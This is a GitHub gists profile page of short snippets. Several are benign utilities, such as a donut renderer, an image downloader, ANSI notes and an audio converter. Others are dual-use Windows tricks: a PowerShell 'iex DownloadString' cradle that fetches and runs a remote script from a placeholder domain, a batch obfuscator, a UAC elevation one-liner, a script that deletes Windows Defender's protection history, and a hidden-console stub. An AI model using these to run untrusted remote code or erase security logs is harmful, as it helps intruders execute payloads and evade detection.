Skip to content

Instantly share code, notes, and snippets.

View phoenixthrush's full-sized avatar
:octocat:
sleeping under your bed

Phoenixthrush UwU phoenixthrush

:octocat:
sleeping under your bed
View GitHub Profile
@phoenixthrush
phoenixthrush / batch-obfuscator.bat
Created October 5, 2022 15:47
Quickly obfuscate batch files (not secure)
@echo off
if "%~1"=="" exit /b
if /i "%~x1" neq ".bat" if /i "%~x1" neq ".cmd" exit /b
for /f %%i in ("certutil.exe") do if not exist "%%~$path:i" (
echo CertUtil.exe not found.
pause
exit /b
)
@phoenixthrush
phoenixthrush / remote-execute.ps1
Created October 5, 2022 15:52
Run Powershell script remotely
iex ((New-Object System.Net.WebClient).DownloadString('https://domain.com/filename.ps1'))
@phoenixthrush
phoenixthrush / req-admin.bat
Created October 8, 2022 08:55
Requesting UAC Batch One-Liner
if not "%1"=="am_admin" (powershell start -verb runas '%0' am_admin & exit /b)
@phoenixthrush
phoenixthrush / clear-protection-history.bat
Created October 8, 2022 09:03
Clearing The Defender Protection History over Batch
if not "%1"=="am_admin" (powershell start -verb runas '%0' am_admin & exit /b)
rmdir "C:\ProgramData\Microsoft\Windows Defender\Scans\History" /S /Q >nul 2>&1
@phoenixthrush
phoenixthrush / donut.c
Created October 12, 2022 14:38
Donut by Andy Sloane, www.a1k0n.net
#include <stdio.h>
#include <string.h>
int k;
double sin(), cos();
int main(void) {
float A = 0, B = 0, i, j, z[1760];
char b[1760];
for (;;) {
@phoenixthrush
phoenixthrush / nhentai-downloader.py
Last active June 18, 2024 20:20
Python nHentai Downloader
import os
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
from bs4 import BeautifulSoup
import re
COLORS = {
'pink': '\033[38;5;219m',
'cyan': '\033[38;5;51m',
'green': '\033[38;5;156m',
@phoenixthrush
phoenixthrush / ANSI.md
Created October 20, 2022 13:33 — forked from fnky/ANSI.md
ANSI Escape Codes

ANSI Escape Sequences

Standard escape codes are prefixed with Escape:

  • Ctrl-Key: ^[
  • Octal: \033
  • Unicode: \u001b
  • Hexadecimal: \x1B
  • Decimal: 27
@phoenixthrush
phoenixthrush / FLAC_to_ALAC.ps1
Last active November 9, 2022 11:16 — forked from nibral/flac_to_alac.ps1
Encode FLAC to ALAC with ffmpeg on Powershell
Get-ChildItem -Filter "*.flac" | % { ffmpeg -i "$_" -c:a alac -map 0:0 -y "$($_.BaseName).m4a" }
@phoenixthrush
phoenixthrush / Tor-User-Agent.txt
Last active December 26, 2022 19:18
Tor User Agent as of 09/2022
Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
@phoenixthrush
phoenixthrush / hidden-window.c
Created November 9, 2022 11:27
Hide C program console window
// compile using -Wl,--subsystem,windows
// gcc hidden-window.c -o mushroom -Wl,--subsystem,windows -Wall
#include <windows.h>
int main(void) {
MessageBox(NULL, "mushrooms", "Phoenixthrush UwU", IDOK | MB_ICONEXCLAMATION);
}